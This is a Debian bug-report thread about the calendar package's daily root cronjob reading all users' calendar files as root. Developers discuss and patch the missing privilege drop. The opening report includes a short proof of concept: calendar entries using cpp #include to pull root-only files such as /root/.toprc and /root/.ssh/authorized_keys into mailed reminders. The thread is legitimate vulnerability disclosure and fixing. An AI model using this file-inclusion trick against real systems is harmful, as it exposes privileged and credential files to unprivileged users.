Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
All, > calendar.c forks, so there is no need to regain privileges post > setuid(). I'm kinda with tg in that setres[ug]id() makes the intent > clearer instead of relying on uid==0 behavior. FYI I just uploaded a new version of the package. It turned out setres[ug]id() are not declared in the current build process. I don't like adding the declaration manually and getting unistd.h to declare it would mean defining __USE_GNU which may or may not have side effects. Therefore I figured to play it safe and use set[ug]id() instead. Thanks, Michael -- Michael Meskes Michael at Fam-Meskes dot De Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org
Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
Hi, On Wed, Dec 08, 2021 at 12:11:28PM +, Thorsten Glaser wrote: > Michael Meskes dixit: > > >I did some more testing and it seems this simple patch fixes the issue: > > I think you should still include a setgroups(0, NULL) call there. > > Personally I’d prefer setres[ug]id() because that makes the intent > more explicit even when the effect is the same, but… I’ll let you > and the security team decide. Gentle bump for this issue. Also shouldn't patching out setusercontext and having no substitute get a CVE? >:) calendar.c forks, so there is no need to regain privileges post setuid(). I'm kinda with tg in that setres[ug]id() makes the intent clearer instead of relying on uid==0 behavior. Kind regards Philipp Kern
Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
Michael Meskes dixit: >I did some more testing and it seems this simple patch fixes the issue: I think you should still include a setgroups(0, NULL) call there. Personally I’d prefer setres[ug]id() because that makes the intent more explicit even when the effect is the same, but… I’ll let you and the security team decide. bye, //mirabilos -- “It is inappropriate to require that a time represented as seconds since the Epoch precisely represent the number of seconds between the referenced time and the Epoch.” -- IEEE Std 1003.1b-1993 (POSIX) Section B.2.2.2
Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
> As
> I understand it, this is the POSIX way. Anyway, I'm going to prepare
> a
> patch.
I did some more testing and it seems this simple patch fixes the issue:
--- calendar.c 2021-12-07 17:53:16.044315761 +0100
+++ calendar.c 2021-12-07 08:59:20.293726904 +0100
@@ -190,6 +190,8 @@
case 0: /* child */
(void)setpgid(getpid(), getpid());
(void)setlocale(LC_ALL, "");
+ if (setgid(pw->pw_gid) != 0 ||
setuid(pw->pw_uid) != 0)
+ err(1, "unable to switch to
user %u group %u", pw->pw_uid, pw->pw_gid);
if (acstat) {
if (chdir(pw->pw_dir) ||
stat(calendarFile, )
!= 0 ||
Any comments?
@security team: Do you want me to prepare a fix for stable, too?
Michael
--
Michael Meskes
Michael at Fam-Meskes dot De
Michael at Meskes dot (De|Com|Net|Org)
Meskes at (Debian|Postgresql) dot Org
Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
> > Could you elaborate why? I cannot see much of a difference in these > > when it comes to the topic at hand. Doesn't set[ug]id set all ids > > to > > the given one? > > No, it only sets one of the three (real, effective and saved) uid/gid > to the given one; setres[ug]id() is the one that sets them all. Actually I think that's only correct if you're running under a non-root uid. If your effective uid is 0 all uids will be set to the given value and thus there is no way back for the application to be root again. As I understand it, this is the POSIX way. Anyway, I'm going to prepare a patch. Thanks, Michael -- Michael Meskes Michael at Fam-Meskes dot De Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org
Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
Michael Meskes dixit: >Could you elaborate why? I cannot see much of a difference in these >when it comes to the topic at hand. Doesn't set[ug]id set all ids to >the given one? No, it only sets one of the three (real, effective and saved) uid/gid to the given one; setres[ug]id() is the one that sets them all. bye, //mirabilos -- Gestern Nacht ist mein IRC-Netzwerk explodiert. Ich hatte nicht damit gerechnet, darum bin ich blutverschmiert… wer konnte ahnen, daß SIE so reagier’n… gestern Nacht ist mein IRC-Netzwerk explodiert~~~ (as of 2021-06-15 The MirOS Project temporarily reconvenes on OFTC)
Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
> >Wouldn't using setuid() suffice? > > I doubt that. At least change the gid and reset the auxilliary Sure, make that setuid() and setgid(). > groups vector. But using setres[ug]id() is safer, especially > considering each instance shells out to cpp(1), which would > then otherwise be suid-user. Could you elaborate why? I cannot see much of a difference in these when it comes to the topic at hand. Doesn't set[ug]id set all ids to the given one? Why is that less safe? Thanks, Michael -- Michael Meskes Michael at Fam-Meskes dot De Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org
Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
Michael Meskes dixit:
>Wouldn't using setuid() suffice?
I doubt that. At least change the gid and reset the auxilliary
groups vector. But using setres[ug]id() is safer, especially
considering each instance shells out to cpp(1), which would
then otherwise be suid-user.
bye,
//mirabilos
--
11:56⎜«liwakura:#!/bin/mksh» also, i wanted to add mksh to my own distro │
i was disappointed that there is no makefile │ but somehow the Build.sh is
the least painful built system i've ever seen │ honours CC, {CPP,C,LD}FLAGS
properly │ looks cleary like done by someone who knows what they are doing
Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
> I did manage to cobble together something that at least switches > to users properly… search for USE_CUSTOM_USERSWITCH or userswitch in > http://www.mirbsd.org/cvs.cgi/src/usr.bin/calendar/calendar.c?rev=HEAD > combined with… > ... Wouldn't using setuid() suffice? Yes, I know setusercontext() does more, but in this case we only need to make sure the right user opens the file. Or what am I missing? Michael -- Michael Meskes Michael at Fam-Meskes dot De Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org
Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
Michael Meskes dixit: >Hmm, not sure what I'm doing wrong. Using the same entries in my calendar file >I get: > >michael@feivel:~$ calendar Right, but do enable the cronjob. “calendar -a” runs as root. Or try sudo calendar -a which is basically the same then watch your mail. (You’ll also need to change the dates, of course.) The patch to remove the setusercontext call is wrong, basically. Turns out fixing this (I was independently porting a different BSD calendar codebase) is rather hard and probably involves PAM magic way out of my experience. I asked at https://listman.redhat.com/archives/pam-list/2021-November/msg0.html but that mailing list seems to be mostly dead. I did manage to cobble together something that at least switches to users properly… search for USE_CUSTOM_USERSWITCH or userswitch in http://www.mirbsd.org/cvs.cgi/src/usr.bin/calendar/calendar.c?rev=HEAD combined with… /* better than nothing… */ #define userswitch(pw) (\ !!setresgid((pw)->pw_gid, (pw)->pw_gid, (pw)->pw_gid) ||\ /* \ * not correct (should switch to user’s supplemental\ * group vector) but sufficient until someone sends \ * a workable alternative… \ */ \ !!setgroups(0, NULL) || \ !!setresuid((pw)->pw_uid, (pw)->pw_uid, (pw)->pw_uid) \ ) … in calendar-mirbsd-20211101/debian/port/port.h but it lacks not only setting the groups vector but also things like limits, environment variables and the likes. Unless you happen to have a PAM expert at hand, you might wish to at least apply something similar. In your package, at least the cronjob is disabled by default, so it hits less users, but it’s still risky. bye, //mirabilos -- [...] if maybe ext3fs wasn't a better pick, or jfs, or maybe reiserfs, oh but what about xfs, and if only i had waited until reiser4 was ready... in the be- ginning, there was ffs, and in the middle, there was ffs, and at the end, there was still ffs, and the sys admins knew it was good. :) -- Ted Unangst über *fs
Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
[Sorry, I have missed this bug report, didn't make it into the correct mailbox locally it seems.] On Mon, Nov 01, 2021 at 12:02:48AM +, Thorsten Glaser wrote: > #define·ssh·Nov·01→ ssh > #include·"/root/.ssh/authorized_keys" Hmm, not sure what I'm doing wrong. Using the same entries in my calendar file I get: michael@feivel:~$ calendar :3:2: fatal error: /root/.ssh/authorized_keys: Permission denied compilation terminated. Michael -- Michael Meskes Michael at Fam-Meskes dot De Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org
Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
Dixi quod… >contents of files that start with a cpp-able string *and* contain >a tab somewhere after that (because calendar(1) does not call cpp(1) >with -traditional-cpp, which is another minor bug in the port), but I was mistaken, it does call it like that, and it does work: #define·ssh·Nov·01→ ssh #include·"/root/.ssh/authorized_keys" bye, //mirabilos -- > Hi, does anyone sell openbsd stickers by themselves and not packaged > with other products? No, the only way I've seen them sold is for $40 with a free OpenBSD CD. -- Haroon Khalid and Steve Shockley in gmane.os.openbsd.misc
Bug#998206: calendar: cronjob processes all users’ calendars as root, allowing information disclosure
Package: calendar Version: 12.1.7+nmu3 Severity: serious Tags: security Justification: security X-Debbugs-Cc: t...@mirbsd.de, Debian Security Team I was wondering how Debian’s calendar(1) packaging handled the setusercontext(3) part, and after finding d/p/calendar_cap.diff I see it just… does away with it õÕ This allows wonderful information disclosure: tglase@tglase-nb:~ $ cat .calendar/calendar Nov 01 Allerheiligen #define Def Nov 01 #define Job Nov 01 #define Mem Nov 01 #define Usr Nov 01 #include "/root/.toprc" tglase@tglase-nb:~ $ cat /root/.toprc cat: /root/.toprc: Permission denied ↓ ↓ ↓ From: Reminder Service Message-ID: <20211031232839.c72361c3...@tglase-nb.lan.tarent.de> To: tgl...@tglase-nb.lan.tarent.de Date: Mon, 1 Nov 2021 00:28:39 +0100 (CET) Subject: Monday's Calendar Nov 01 Allerheiligen Nov 01 fieldscur=AEhIOQTrspvuWbcdfgjyzlKNMX winflags=65208, sortindx=10, maxtasks=0 summclr=6, msgsclr=6, headclr=7, taskclr=7 Nov 01 fieldscur=ABcefgjlrstuvyzMKNHIWOPQDX winflags=62776, sortindx=0, maxtasks=0 summclr=6, msgsclr=6, headclr=7, taskclr=6 Nov 01 fieldscur=ANOPQRSTUVbcdefgjlmyzWHIKX winflags=62776, sortindx=13, maxtasks=0 summclr=5, msgsclr=5, headclr=4, taskclr=5 Nov 01 fieldscur=ABDECGfhijlopqrstuvyzMKNWX winflags=62776, sortindx=4, maxtasks=0 summclr=3, msgsclr=3, headclr=2, taskclr=3 This is *mildly* mitigated by the fact that you can only extract contents of files that start with a cpp-able string *and* contain a tab somewhere after that (because calendar(1) does not call cpp(1) with -traditional-cpp, which is another minor bug in the port), but I believe people can and will find creative ways to extract more. /root/.wget-hsts can be used to see whether a given host was already contacted, for example. -- System Information: Debian Release: 11.1 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable-debug'), (500, 'oldstable-updates'), (500, 'oldoldstable'), (500, 'stable'), (500, 'oldstable') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 5.10.0-8-amd64 (SMP w/2 CPU threads) Kernel taint flags: TAINT_WARN Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set Shell: /bin/sh linked to /bin/lksh Init: sysvinit (via /sbin/init) Versions of packages calendar depends on: ii cpp 4:10.2.1-1 ii libbsd0 0.11.3-1 ii libc62.31-13+deb11u2 calendar recommends no packages. calendar suggests no packages. -- Configuration Files: /etc/cron.daily/calendar changed: . /etc/default/calendar [ x$RUN_DAILY = xtrue ] || exit 0 [ -x /usr/sbin/sendmail ] || exit 0 if [ ! -x /usr/bin/cpp ]; then echo "The cpp package is needed to run calendar." exit 1 fi /usr/bin/calendar -a /etc/default/calendar changed: RUN_DAILY=true -- no debconf information
